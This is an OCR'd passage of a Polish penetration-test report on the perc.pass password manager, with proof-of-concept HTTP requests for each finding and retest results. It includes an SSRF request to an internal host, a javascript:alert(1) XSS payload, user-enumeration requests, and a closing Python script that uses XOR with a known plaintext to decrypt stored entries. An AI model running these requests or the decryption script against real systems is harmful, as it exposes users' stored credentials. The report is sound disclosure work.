posiada dostepu do zaszyfrowanych danych grupy.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Dostep do zaszyfrowanych danych grupy przez bytego uzytkownika grupy. Przyktadowe scenariusze:

e dostep do infrastruktury aplikacji,
e dostep do konta jednego z uzytkownikow grupy (aplikacja uzywa dwoéch osobnych haset - do
logowania i szyfrowania danych).

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Podczas testow wykonano nastepujace sprawdzenie:

1) Jako uzytkownik Audytor 702 dodano wspétdzielona grupe.

2) Do grupy dodano jeden wpis zawierajacy przyktadowe dane uwierzytelniajace.

3) Jako uzytkownik Audytor 702 udostepniono grupe uzytkownikowi Audytor 601.

4)  Jako uzytkownik Audytor 601 uzyskano dostep do wspdtdzielonej grupy. W tle wystane zostato

zapytanie:

GET /api/users/me/entries HTTP/2
Host: [REDACTED]

[.]

W odpowiedzi zwrécone zostaty: wspétdzielony klucz grupy (AES) zaszyfrowany publicznym kluczem
uzytkownika Audytor 601 (RSA) oraz zaszyfrowany wpis:

\ HTTP/2 200 OK



Date: Wed, 21 Feb 2024 ©9:34:54 GMT

[..]

{"successful":true, "message":"Successful", "userGroupEntriesList":[{"userGroupInfo":{"uuid":"2aa2[
..]38a0", "ownerUuid":"b455[..]7738","data" : "[..]", "personal":false, "permission":"READ", "protectedGro
UpAES":"[zaszyfrowany klucz AES grupy]","ownerFullName":"Audytor

702", "ownerStatus":"ACTIVE", "entryCount":1, "memberCount":2}, "userEntryInfolList":[{"uuid":"c017][...]
63c4","data":"[zaszyfrowany

wpis]","securityAttributes":"[..]","groupUuid":"2aa2[..]38a0", "ownerUuid":"b455[..]7738", "secureFile
s":null,"permission":"READ"}]}], "groupWithEntriesEtags":{"2aa2[..]38a0":"a3bd[..]552d"}, "groupEtags
":{"22a2[..]38a0":"282e[..]1f46"}, "entryEtags" :{"c017[..]63c4" : "49bc[..]dcb6" }}

5) Jako uzytkownik Audytor 702 wycofano dostep do grupy uzytkownikowi Audytor 601.
6) Do grupy dodano kolejny wpis.
7) Pobrano zaszyfrowany wpis.
8) Wpis rozszyfrowano za pomoca klucza udostepnionego uzytkownikowi Audytor 601 (krok 4) pomimo,
ze uzytkownik nie byt juz uczestnikiem grupy.
LOKALIZACIA

Zarzadzenie kluczami szyfrujacymi wspétdzielonych grup.

REKOMENDACIA

Po usunieciu uzytkownika z grupy zaleca sie zmieni¢ wspotdzielony klucz grupy (AES). Z uwagi na fakt, ze
operacja zmiany klucza moze by¢ czasochtonna (wymagane jest zaszyfrowanie wszystkich danych grupy
nowym kluczem), krok zmiany klucza moze by¢ opcjonalny, zaleca sie jednak poinformowac uzytkownika
o potencjalnym ryzyku i da¢ uzytkownikowi mozliwos¢ podjecia decyzji.




[FIXED][LOW] SECURITUM-238503-005: Przechowywanie tokendow sesji
w postaci tekstu jawnego

STATUS PO WYKONANIU RETESTU

Podatnosc zostata wyeliminowana. Dane aplikacji przechowywane sa w zaszyfrowanej postaci.

(0]:1Y

Zauwazono, ze aplikacja mobilna na system Android przechowuje token sesji oraz refresh token w postaci
tekstu jawnego w systemie plikdw urzadzenia. W rezultacie, jezeli atakujacy uzyska dostep do plikdw aplikagji
bedzie w stanie uzyskac dostep do aktywnej sesji uzytkownika. Nalezy zaznaczy¢, ze tokeny nie umozliwiaja
dostepu do odszyfrowanych danych, pozwalaja jednak wykona¢ takie operacje jak np. pobranie
zaszyfrowanych danych, co w potaczeniu z podatnosciami SECURITUM-238503-001: Mozliwos$c odszyfrowania
danych uzytkownikéw bez znajomosci hasta gtownego lub SECURITUM-238503-004: MoZliwos¢ odszyfrowania
danych wspotdzielonej grupy przez bytych uzytkownikéw grupy moze stanowié istotne zagrozenie.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Dostep do plikow aplikacii.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Tokeny sesji zlokalizowano w pliku /data/data/pl.pp.mobile.percpass/shared_prefs/
pl.pp.mobile.percpass_preferences.xml:

<?xml version='1.0"' encoding="'utf-8' standalone='yes' ?>
<map>
<string name="userKeys">[...]</string>
<string
name="accessToken">{&quot;accessToken&quot; :&quot;eyJh[..]kdQw&quot; ,&quot;refreshToken&quot; :&quo
t;eyJh[..]hRIA&quot; }</string>
<string
name="user">{&quot;email&quot; :&quot;[..]@securitum.pl&quot;,&quot;firstName&quot; :&quot;Audytor&q
uot;,&quot;lastName&quot; :&quot; 702&quot; ,&quot;master&quot; :false,&quot;privileges&quot; :&quot;A
LL&quot; ,&quot;role&quot; :&quot ; USER&quot; ,&quot;uuid&quot; :&quot; b455[...]17738&quot; }</string>
<string name="deviceToken">1766[..]1269</string>
<boolean name="user.allowScreenshots" value="false" />
</map>

LOKALIZACIA

Aplikacja mobilna na system Android.

REKOMENDACIA

Zaleca sie, aby wrazliwe dane, takie jak tokeny sesji, przechowywane byty w zaszyfrowanej postaci. Klucz
wymagany do odszyfrowania danych powinien by¢ przechowywany w systemowym keystore, dodatkowo
dostep do klucza powinien wymagac odblokowania urzadzenia.




[FIXED][LOW] SECURITUM-238503-006: Wyswietlanie wygenerowanego
hasta

STATUS PO WYKONANIU RETESTU

Podatnosc zostata wyeliminowana. Potwierdzono, ze generatory haset domyslnie maskuja wygenerowane
hasto, np.:

perc.pass

Generator hasta
Diugosé

10 S

Wyklucz znaki (np. y, 0, x)

Hasto musi zawiera¢ uwzgledniane typy znakéw:
< Wielkie litery (ABC) < Mate litery (abc)

V| Cyfry (123) ¥ symbole (1@#)

C' eeeececeece @

o

Dlaczego moje hasto nie ma maksymalnej sity?

o N
Uzyj hasta Kopiuj /\

oris

Zauwazono, ze generatory haset domyslnie wyswietlaja wygenerowane hasto. Takie zachowanie aplikacji
zwieksza ryzyko uzyskania dostepu do hasta przez niepowotane osoby.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Wglad w ekran monitora lub komérki uzytkownika podczas generowania hasta.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Generowanie hasta w aplikacji webowe;j:

O
A TestO1
Zaznacz wezystkie Generator hasta

6

Dodawanie nowego wpisu

Hasto musi zawiera¢ uwzgledniane typy
znakéw:

¥ wielkie litery (ABC)

99 Tytut test ¥ Mate litery (abc)
¥ cyfry (123)
Taf Wybierz I{
® e - ¥ symbole (\@#)
®  Logi
= e C | 5jylW+G6h>W6[aN
AF Hasto

Bardzo bezpieczne

€ strona internetowa

s N

Uzyj hasta Kopiuj /\

i Data wygasniecia

securitum



Generowanie hasta za pomoca wtyczki dla przegladarki Chrome:

2 % D
perc.pass
Generator
Dtugosc Wyklucz znaki
16 np.yo 0 x

Wielkie litery (ABC)
Mate litery (abc)

8 Cyfry 123)
Symbole (\@#)

C | L(#0j(pp04CQ?m74

Bardzo bezpieczne

Kopiuj do schowka

P d ko %y
Grupy Generator Ustawienia

Generowanie hasta w aplikacji mobilnej na system Android:

08:35 P Oo€L0

Generator 0K

‘ C  PKE7)M{57kvXM#3 D

Bardzo bezpieczne

®

— Dlugos¢ hasla
16

Male litery (abc)
Duze litery (ABC)
Cyfry (123)

Znaki specjalne ('@#)

8668

Wyklucz znaki

LOKALIZACIA

Generatory haset.

REKOMENDACIA

Zaleca sie, aby wygenerowane hasto nie byto domyslnie wyswietlane w interfejsie aplikacji. Nalezy dodac
opcje wyswietlenia hasta na zyczenie uzytkownika.

securitum



[FIXED][LOW] SECURITUM-238503-007: Wspotdzielenie klucza RSA do
podpisywania tokenow JWT

STATUS PO WYKONANIU RETESTU

Podatnosc zostata wyeliminowana. Proba uzycia tokena testowego na Srodowisku produkcyjnym zakonczyta
sie niepowodzeniem:

HTTP/2 401 Unauthorized
Date: Mon, 15 Apr 2024 11:55:18 GMT

[.]
INVALID_TOKEN

OriIs

Zauwazono, ze klucz RSA wykorzystywany do podpisywania tokenow JWT jest wspétdzielony pomiedzy
Srodowiskami produkcyjnym oraz testowym. W rezultacie token wygenerowany na jednym srodowisku moze
by¢ wykorzystany, aby uzyskac dostep do drugiego Srodowiska. Z uwagi na fakt, ze identyfikator uzytkownika
zawarty w tokenie JWT ma posta¢ UUIDv4, tym samym ryzyko zbieznosci identyfikatorow pomiedzy
Srodowiskami jest praktycznie niemozliwe, poziom istotnosci podatnosci ustalono na poziomie LOW.
Jednak jak pokazano w sekgji Szczegdty techniczne istniejg operacje, ktore wymagaja jedynie poprawnego
tokena (identyfikator uzytkownika nie jest weryfikowany), dlatego zaleca sie wdrozy¢ zaproponowane
rekomendacje.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Posiadanie konta w aplikaciji.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Podczas testéw wystano nastepujace zapytanie do Srodowiska produkcyjnego (app.[REDACTED])
wykorzystujac tokeny JWT wygenerowane na srodowisku testowym ([REDACTED]):

GET /api/users/me HTTP/2
Host: app.[REDACTED]
Cookie: refresh-token=[..]; session-token=[..]

[.]

W odpowiedzi zwrdcony zostat komunikat btedu:

HTTP/2 404 Not Found
Date: Thu, 15 Feb 2024 11:18:48 GMT
[..]

{"successful":false, "message":"User not found"}

Komunikat btedu sugeruje, ze token JWT zostat zaakceptowany, a btad jest wynikiem braku uzytkownika o
danym identyfikatorze w produkcyjnej bazie danych.

W kolejnym kroku wystano zapytanie wykorzystujace podatnos$¢ SSRF (patrz: SECURITUM-238503-002:
Mozliwos¢ wykonania rekonesansu wewnetrznej sieci):

GET /api/favicons?target=http://127.1.1.1:8761/ HTTP/2
Host: app.[REDACTED]
Cookie: refresh-token=[..]; session-token=[..]




‘ [..]

Tym razem zapytanie zostato przetworzone bez btedu. Do obstugi tego zapytania aplikacja wymaga jedynie
poprawnego tokenu JWT - identyfikator uzytkownika zawarty w tokenie nie jest weryfikowany:

HTTP/2 200 OK
Date: Thu, 15 Feb 2024 11:24:04 GMT
[..]
<!doctype html>
<html lang="en">
<head>
<base href="/">
<meta charset="utf-8">
<title>[REDACTED]</title>
<hl>Instance Info</hl>
[..]
<table id="instanceInfo' class="table table-striped table-hover">
<thead>
<tr><th>Name</th><th>Value</th></tr>
<thead>
<tbody>
<tr>
<td>ipAddr</td><td>10.XXX.XXX.8</td>
</tr>
<tr>
<td>status</td><td>UP</td>

[.]

LOKALIZACIA

Mechanizm zarzadzania sesja.

REKOMENDACIA

Zaleca sie, aby kazda wersja aplikacji posiadata wtasny klucz RSA wykorzystywany do podpisywania tokendw
JWT.

securitum



[FIXED][LOW] SECURITUM-238503-008: Mozliwos¢ enumeracji nazw
uzytkownikow

STATUS PO WYKONANIU RETESTU

Podatnos¢ zostata wyeliminowana. Dla przedstawionych scenariuszy ataku zunifikowano komunikaty
odpowiedzi.

(0]:1Y

Aplikacja pozwala sprawdzi¢ czy dana nazwa uzytkownika (adres email) jest juz uzywana przez innego
uzytkownika. Lista poprawnych adreséw email pozwala przeprowadzi¢ dalsze ataki, takie jak wysytanie emalii
phishingowych lub sitowe sprawdzanie hasta uzytkownika.

Wiecej informacji:

e https://portswigger.net/burp/documentation/desktop/testing-workflow/authentication-

mechanisms/enumerating-usernames

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Posiadanie konta w aplikaciji.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

1) Zaproszenie uzytkownika

W celu sprawdzenia czy dana nazwa uzytkownika jest juz uzywana wystano ponizsze zapytanie
(Uzytkownicy -> Zapros uzytkownika):

POST /api/users/invite HTTP/2

Host: [REDACTED]

[..]

{"privileges":"ALL","email":"[..]@securitum.pl”,"firstName":"Test", "lastName":"Test","role":"USER"

w,ns

, "supervisor":"invalid"}

Dla istniejacej nazwy uzytkownika zwracana byta nastepujaca odpowiedz:

HTTP/2 400 Bad Request

Date: Mon, 12 Feb 2024 07:40:12 GMT

[..]
{"timestamp":"2024-02-12T07:40:12.633+00:00", "status":400, "error": "Bad

Request", "message":"Validation failed for object='inviteUserForm'. Error count:
1","errors":[{"codes":["UniqueEmail.inviteUserForm.email", "UniqueEmail.email","UniqueEmail.java.l
ang.String","UniqueEmail"], "arguments":[{"codes":["inviteUserForm.email", "email"], "arguments":nul
1,"defaultMessage":"email","code":"email"}], "defaultMessage":"Podany adres email nie jest juz
dostepny", "objectName":"inviteUserForm","field":"email", "rejectedValue":"[..]J@securitum.pl”,"bindi

UniqueEmail"}], "path":"/users/invite"}

ngFailure":false, "code":

W przypadku nieistniejacej nazwy zwracany byt ponizszy btad. Nalezy zauwazy¢, ze jako identyfikator
przetozonego wystano warto$¢ "supervisor": "invalid", aby zapobiec wystaniu emaila z zaproszeniem.

HTTP/2 404 Not Found
Date: Mon, 12 Feb 2024 ©7:51:42 GMT

[.]



https://portswigger.net/burp/documentation/desktop/testing-workflow/authentication-mechanisms/enumerating-usernames
https://portswigger.net/burp/documentation/desktop/testing-workflow/authentication-mechanisms/enumerating-usernames

‘{"successful":false,"message :"User not found"}

2) Logowanie z wykorzystaniem 2FA

Wystano zapytanie:

POST /api/login/choiceTwoFactor HTTP/2
Host: [REDACTED]

[..]
{"email":"[..]@securitum.pl”, "password":"","tokenUuid":"{losowy UUID}"}

Dla istniejacej nazwy uzytkownika zwracana byta nastepujaca odpowiedz:

HTTP/2 400 Bad Request
Date: Tue, 13 Feb 2024 09:49:25 GMT

[.]

{"statusAndCodeResponse":{"status":"Login error","code":"400"}}

W przypadku nieistniejacej nazwy zwracana byta inna odpowiedz:

HTTP/2 404 Not Found
Date: Tue, 13 Feb 2024 ©9:51:35 GMT

[.]

3) Rejestracja konta

Wystano zapytanie:

POST /api/register?ref= HTTP/2

Host: [REDACTED]

[..]

{"licenseType":"TRIAL", "language":"PL","firstName":"Test","lastName":"Test","email":"[..]@securitu
m.pl","policesAccepted":true, "marketing":true}

Dla istniejacej nazwy uzytkownika zwracany byt nastepujacy btad:

HTTP/2 503 Service Unavailable
Date: Tue, 13 Feb 2024 14:49:21 GMT

[.]

{"successful":false, "message":"Error occurred while inviting user"}

W przypadku nieistniejacej nazwy zwracana byta inna odpowiedz:

HTTP/2 201 Created
Date: Tue, 13 Feb 2024 14:48:32 GMT
[..]

{"successful":true, "message":"Successful","licenseluid":"@815[..]10ac"}

LOKALIZACIA

Lokalizacje wymienione w sekcji Szczegdty techniczne.

REKOMENDACIA

Zaleca sie ujednolicic tres¢ odpowiedzi dla obu sytuacji - istniejacy i nieistniejacy adres email.

securitum



[FIXED][LOW] SECURITUM-238503-009: Zwracanie technicznych
komunikatow o btedach

STATUS PO WYKONANIU RETESTU

Podatnosc zostata wyeliminowana. Podczas retestu serwer aplikacji zwracat uniwersalny komunikat btedu:

HTTP/2 500 Internal Server Error
Date: Mon, 15 Apr 2024 12:31:17 GMT

[.]

{"successful":false, "message": "Unexpected error"}

(0]:1Y

Zauwazono, ze aplikacja zwraca techniczne komunikaty o btedach, ktére pozwalajg zidentyfikowac
wykorzystywane oprogramowanie. Tego typu informacje moga pomdc atakujacemu lepiej zrozumiec
aplikacje i w rezultacie przygotowac dalsze ataki.

Wiecej informacji:

e https://owasp.org/www-community/Improper Error Handling

e https://cheatsheetseries.owasp.org/cheatsheets/Error Handling Cheat Sheet.html

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Posiadanie konta w aplikaciji.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Ponizej zaprezentowano przyktadowe zapytanie HTTP wystane do aplikacji:

POST /api/logs/export HTTP/2

Host: [REDACTED]

[..]

{"firstName":"Audytor","lastNamel23":"501", "type": "ADMINISTRATION", "dateFrom":"2024-02-
02","dateTo":"2024-02-07"}

W odpowiedzi aplikacja zwrécita techniczny komunikat btedu:

HTTP/2 500 Internal Server Error

Date: Wed, 07 Feb 2024 10:46:44 GMT

[..]

{"timestamp":"2024-02-07T10:46:44.948+00:00", "status":500, "error":"Internal Server
Error","message":"Cannot invoke \"java.util.Optional.orElse(Object)\" because the return value of
\"pl.perceptus.backend.model.log.form.ExportLogsForm.getLastName()\" is

null","path":"/logs/export"}

LOKALIZACIA

Ogdlna uwaga dotyczaca catej aplikacji.


https://owasp.org/www-community/Improper_Error_Handling
https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html

REKOMENDACIA

Zaleca sie wytaczy¢ raportowanie technicznych btedéw. Aplikacja powinna zwracac ogdlny komunikat btedu
nieujawniajacy technicznych szczegdtow.
Wiecej informacji:

e https://owasp.org/www-community/Improper Error Handling#how-to-protect-yourself

securitum


https://owasp.org/www-community/Improper_Error_Handling#how-to-protect-yourself

securitum
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STATUS PO WYKONANIU RETESTU

Zalecenie zostato wdrozone. Dodano mozliwo$¢ zmiany hasta gtéwnego:

Zmiana hasta gtéwnego

Bezpieczenstwo
Zmiana hasta
Obecne hasto gtéwne:
Zmiana hasta giéwnego
Weryfikacja 2FA
Nowe hasto gtéwne:

Personalizacja konta

Usuniecie konta Powtérz nowe hasto gtéwne:

Opcje zaawansowane

oris

Aplikacja nie pozwala zmieni¢ hasta gtéwnego uzywanego do szyfrowania danych uzytkownika. Jezeli hasto
gtowne zostanie ujawnione, wszystkie przechowywane hasta i dane zostang narazone na ryzyko wycieku,
natomiast uzytkownik nie bedzie miat mozliwosci ograniczenia tego ryzyka.

SzCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Informacja o braku mozliwosci zmiany hasta gtownego podawana podczas aktywacji konta:

perc.pass

Aktywuj konto

Nadaj hasto gtéwne wymagane do szyfrowania danych
UWAGA: hasta gtéwnego NIE MOZNA zmienic!

Opcje zaawansowane v

LOKALIZACIA

Implementacja mechanizmu szyfrowania.

REKOMENDACIA

Zaleca sie doda¢ mozliwo$¢ zmiany hasta gtéwnego. Podczas zmiany hasta nalezy doda¢ opcjonalna
mozliwos$¢ zmiany klucza AES stuzacego do szyfrowania danych (patrz rekomendacja dla SECURITUM-238503-
004: Mozliwosc odszyfrowania danych wspdtdzielonej grupy przez bytych uzytkownikéw grupy).

+48 (12) 3523382
securitum@securitum.pl

securitum



[IMPLEMENTED][INFO] SECURITUM-238503-011: Uzycie niewtasciwego
generatora pseudo-losowych wartosci

STATUS PO WYKONANIU RETESTU

Zalecenie zostato wdrozone. Wtyczka uzywa funkcji crypto.getRandomValues, zamiast Math.random, do
generowania haset.

(0]:1Y

Zauwazono, ze kod wtyczki dla przegladarki Chrome generujacy hasta, uzywa generatora pseudo-losowych
wartoéci (Math.random), ktéry nie jest przeznaczony do zastosowan bezpieczenstwa.

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global Objects/Math/random:

@ Note: math.random() does not provide cryptographically secure random numbers. Do not
use them for anything related to security. Use the Web Crypto API instead, and more

precisely the window.crypto.getRandomvalues(). method.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Fragment kodu wtyczki dla przegladarki Chrome (plik \src\utils\generatePassword.ts):

[..]
const getRandomChar = (charSet, excludedChars) => {
const chars = charSet.split("")
const excludedSymbols = excludedChars.split(" ")
let randomChar = ""
do {
randomChar = chars[Math.floor(Math.random() * chars.length)]
} while (excludedSymbols.includes(randomChar))

return randomChar

}
[..]
tempGeneratedPassword = tempGeneratedPassword

.split("")
.sort(() => 0.5 - Math.random())
.join("")
.slice(@, length)

[..]

LOKALIZACIA

Lokalizacje wymienione w sekcji Szczegdty techniczne.

REKOMENDACIA

Hasta nalezy generowac wykorzystujac funkcje przeznaczone do zastosowarn kryptograficznych
(np. Crypto.getRandomValues).



https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random

[IMPLEMENTED][INFO] SECURITUM-238503-012: Brak uniewazniania
sesji podczas zmiany hasta oraz wtaczania 2FA

STATUS PO WYKONANIU RETESTU

Zalecenie zostato wdrozone. Podczas zmiany hasta lub wigczania 2FA pozostate sesje uzytkownika sa
uniewazniane.

(0]:1Y

Zauwazono, ze w sytuacji, gdy uzytkownik zmieni hasto lub wtaczy 2FA nie sa uniewaznianie pozostate sesje
powigzane z kontem uzytkownika. Operacje zmiany hasta lub wtaczenia 2FA czesto wykonywane sg w sytuacji
podejrzenia nieautoryzowanego dostepu do konta, dlatego zaleca sie uniewazniac wszystkie pozostate sesje
powiazane z kontem uzytkownika, aby zablokowac ewentualny nieautoryzowany dostep do konta.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Podczas testow wykonano nastepujace sprawdzenie:

1) Zalogowano sie na konto uzytkownika z dwoch roznych przegladarek oraz roznych adreséw IP.
2) Najednejz sesji zmieniono hasto oraz wtgczono 2FA.
3) Nadrugiej sesji bez przeszkod nadal korzystano z konta.

LOKALIZACIA

Mechanizm zarzadzania sesja.

REKOMENDACIA

Zaleca sie, aby w sytuacji zmiany hasta lub wtaczenia 2FA uniewazniac wszystkie pozostate sesje uzytkownika.



STATUS PO WYKONANIU RETESTU

Zalecenie zostato wdrozone. Dodano panel do zarzadzania sesjami:

Bezpieczeristwo

Bezpieczenstwo

Zmiana hasta Lista urzadzeni Klucze kryptograficzne

Zmiana hasta gtéwnego

NAZWA PIERWSZE LOGOWANIE
\SenvilkaciaEa Windows 10/11 Firefox Other  1504.2024 1301
Personalizacja konta

Android 9 google Pixel 2 15.04.2024 1218
Usuniecie konta

chrome Extension on win 15.04.2024 M:04

OSTATNIA AKTYWNOSC

15.04.202413:01

15.04.2024 1218

15.04.2024 N:04

1]

192168.49.1

192168.49.1

192168.49.1

LOKALIZACIA OPCIE
No localization 1
No localization '
No localization 1

oris

Z uwagi na wrazliwy charakter aplikacji zaleca sie, aby aplikacja udostepniata panel do zarzadzania sesjami.
Z poziomu panelu uzytkownik powinien mie¢ mozliwos¢ sprawdzenia oraz uniewaznienia aktywnych sesji

powiazanych z wiasnym kontem. W ramach panelu zaleca sie réwniez udostepni¢ historie logowan na konto.

LOKALIZACIA

Mechanizm zarzadzania sesja.

REKOMENDACIA

Zaleca sie doda¢ panel do zarzadzania sesjami. Uniewaznienie sesji powinno by¢ autoryzowane poprzez

podanie hasta oraz uzycie 2FA, jesli jest aktywne.

+48 (12) 3523382
securitum@securitum.pl

securitum

.securitum.pl
.sekurak.pl
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[IMPLEMENED][INFO] SECURITUM-238503-014: Mozliwo$¢ wigczenia
weryfikacji 2FA bez koniecznosci podawania hasta

STATUS PO WYKONANIU RETESTU

Zalecenie zostato wdrozone. Podczas wtaczania 2FA konieczne jest podanie hasta:

Weryfikacja 2FA

Bezpieczenstwo
Zmiana hasta Potwierdz operacje
Zmiana hasta gtéwnego

Weryfikacja 2FA

Personalizacja konta

Hasto
Usuniecie konta

Sprawdz

OriIs

Zauwazono, ze podczas wtaczania weryfikacji 2FA nie jest konieczne podanie hasta. W rezultacie, jezeli

atakujacy uzyskana dostep do aktywnej sesji uzytkownika, bedzie w stanie wtaczy¢ weryfikacje 2FA, blokujac
w ten sposdb uzytkownikowi dostep do konta.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Podczas testow wtaczono weryfikacje 2FA bez koniecznosci podania hasta do konta.

LOKALIZACIA

Witaczanie weryfikacji 2FA.

REKOMENDACIA

Zaleca sie, aby podczas wtaczania weryfikacji 2FA konieczne byto podanie hasta do konta.



STATUS PO WYKONANIU RETESTU

Zalecenie zostato wdrozone. Rozszerzono zakres logowanych zdarzen.

oris

Aplikacja implementuje mechanizm logowania oraz prezentowania operacji wykonywanych przez
uzytkownikow. Zauwazono jednak, ze nie wszystkie zdarzenia istotne z perspektywy bezpieczefdstwa sa
logowane.

SzCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Przyktadowe logi:

Logi

Miejsce gdzie zapisywane s3 wszystkie wydarzenia z twojej firmy.

B> Pobierz Y Filtruj

TP TRESC UZYTKOWNIK DATA I CZAS

Uzytkownik zalogowat sig Audytor 501 (a_pl) 07.02.2024 09:43:56

- sawaele avaytor so (D - 06.022024155103
Py ffai2 9409053 vyt P 0% o

Podczas testow zauwazono brak logowania nastepujgcych zdarzen:

e nadanie uzytkownikowi uprawnied administratora (logowanie jest tylko ogoélne zdarzenie -
Zmodyfikowano uzytkownika),

e blokowanie / odblokowywanie uzytkownika,

e pobranie wszystkich logow.

LOKALIZACIA

Mechanizm logowania zdarzen.

REKOMENDACIA

Zaleca sie logowanie zdarzer wymienionych w sekcji Szczegdty techniczne.

+48 (12) 3523382
securitum@securitum.pl

securitum.pl
sekurak.pl

securitum



[IMPLEMENTD][INFO] SECURITUM-238503-016: Niepetne informowanie
uzytkownika o zdarzeniach zwigzanych z bezpieczenstwem

STATUS PO WYKONANIU RETESTU

Zalecenie zostato wdrozone. Wprowadzono informowanie uzytkownika o dodatkowych zdarzeniach np.
dodanie/usuniecie 2FA, zmiana hasta.

(0]:1Y

Aplikacja informuje uzytkownika o zdarzeniach zwigzanych z bezpieczenstwem (np. podczas logowania z
nowego urzadzenia wysytana jest wiadomos¢ email). Zauwazono jednak, ze nie wszystkie zdarzenia istotne z
perspektywy bezpieczenstwa sa zgtaszane.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Podczas testow zauwazono brak informowania uzytkownika o nastepujacych zdarzeniach:

e dodanie/usuniecie 2FA,

e wiaczenie/wytgczenie 2FA,

e zmiana hasta,

e udostepnienie grupy z hastami innemu uzytkownikowi,
e zmiana wiasciciela grupy z hastami.

LOKALIZACIA

Mechanizm informowania uzytkownika o zdarzeniach zwiazanych z bezpieczenstwem.

REKOMENDACIA

Zaleca sie informowac uzytkownika o zdarzeniach wymienionych w sekgji Szczegdty techniczne.



STATUS PO WYKONANIU RETESTU

Zalecenie zostato wdrozone. Usunieto mozliwos¢ wstrzykniecia znaczkéw HTML do nazwy metody 2FA.

oris

Zauwazono, ze do nazwy metody 2FA mozna wstrzykngc znacznik HTML. W konsekwencji moze to prowadzi¢

do podatnosci typu Cross-Site Scripting (XSS). Z uwagi na fakt, ze aplikacja blokuje XSS za pomocg Content

Security Policy oraz nie zidentyfikowano wektora ataku pozwalajacego zaatakowac innego uzytkownika
aplikacji (przy zatozeniu obejscia polityki CSP) problem zgtoszono na poziomie INFO. Zaleca sie jednak

wdrozy¢ przedstawione rekomendacje, aby w petni wyeliminowac ryzyko ataku.

SzCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Zmieniono nazwe tokenu (Ustawienia -> Weryfikacja 2FA —> Edytuj nazwe):
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Zatgczniki 0%

Podoba Ci sig perc.pass?
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Po kliknieciu w link wykonanie kodu JavaScript zostato zablokowane przez CSP:

Jestes tego pewien?

Metoda uwierzytelniania dwupoziomowego click me
zostanie ustawiona jako domyslna podczas autoryzacji

® O Inspektor [ Konsola [ Debuger {} Edytorstylow (2 Wydajnos¢ 4 Pamie¢ N Sie¢ [ Dane Jr Dostepnos¢ 288 Watki

W ¥ Filtruj zawartos¢

@ cContent-security-Policy: Ustawienia strony zablokowaly wczytanie zasobu ,inline” (,script-src-elem”).
Source: javascript:alert(1)

Analogiczny problem wystepuje dla operacji Aktywuj/Dezaktywuj 2FA:

Dezaktywacja tokenu

Czy jestes pewien, Ze chcesz dezaktywowac token click me?

LOKALIZACIA

Lokalizacje wskazane w sekcji Szczegdty techniczne.

REKOMENDACIJA

Wszystkie dane pochodzace od uzytkownika nalezy odpowiednio kodowaé, w chwili uzycia, w zaleznosci od

kontekstu w jakim sa uzywane (w tym przypadku HTML).
Wiecej informacji:

e https://portswigger.net/web-security/cross-site-scripting/preventing
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https://portswigger.net/web-security/cross-site-scripting/preventing

STATUS PO WYKONANIU RETESTU

Zalecenie zostato wdrozone. Dostep do testowej wersji aplikacji wymaga potaczenia VPN.

oris

Zauwazono, ze testowa wersja aplikacji jest dostepna publicznie. Z zatozenia poziom zabezpieczen
Srodowiska testowego moze byc¢ nizszy niz ma to miejsce na Srodowisku produkcyjnym (np. wytaczone WAF
i APl Rate Limiting). Dodatkowo $rodowisko testowe moze udostepniac funkcjonalnosci, ktére nie zostaty
jeszcze przetestowane pod kontem bezpieczenstwa, lub zawiera¢ podatnosci, ktére zostaty wykryte, ale nie
zostaty jeszcze wyeliminowane. Wszystko to sprawia, ze Srodowisko testowe moze by¢ tatwiejszym celem do
ataku niz produkcyjna wersja aplikaciji.

SzCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Podczas testow mozliwe byto uzyskanie dostepu do Srodowiska testowego z prywatnego adresu IP audytora.

LOKALIZACIA

https://[REDACTED]

REKOMENDACIA

Zaleca sie ograniczy¢ dostep do testowej wersji aplikacji.
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decrypt.py

#!/usr/bin/env python3
import base64

import re

import sys

def

def

def

def

def

def

if _name__ == '__main__":

xor(valuel, value2):
return [a ~ b for a, b in zip(valuel, value2)]

decode_ciphertext(data):
array_buffer = base64.b64decode(data.encode('ascii')).decode('ascii")
m = re.search('ArrayBuffer\[(.+?)\]', array_buffer)
if m:
return map(int, m.group(1l).split(',"))

decode_plaintext(string):
return [ord(char) for char in string]

encode_to_string(data):
return ''.join(chr(i) for i in data)

decrypt(ciphertext_with_known_plaintext, plaintext, ciphertext):
key = xor(decode_ciphertext(ciphertext_with_known_plaintext), decode_plaintext(plaintext))
print(encode_to_string(xor(key, decode_ciphertext(ciphertext))))

main():

if len(sys.argv) != 4:
print(f'usage: {sys.argv[0@]} <ciphertext with known plaintext> <plaintext> <ciphertext>")
sys.exit(1)

decrypt(sys.argv[1l], sys.argv[2], sys.argv[3])

main()




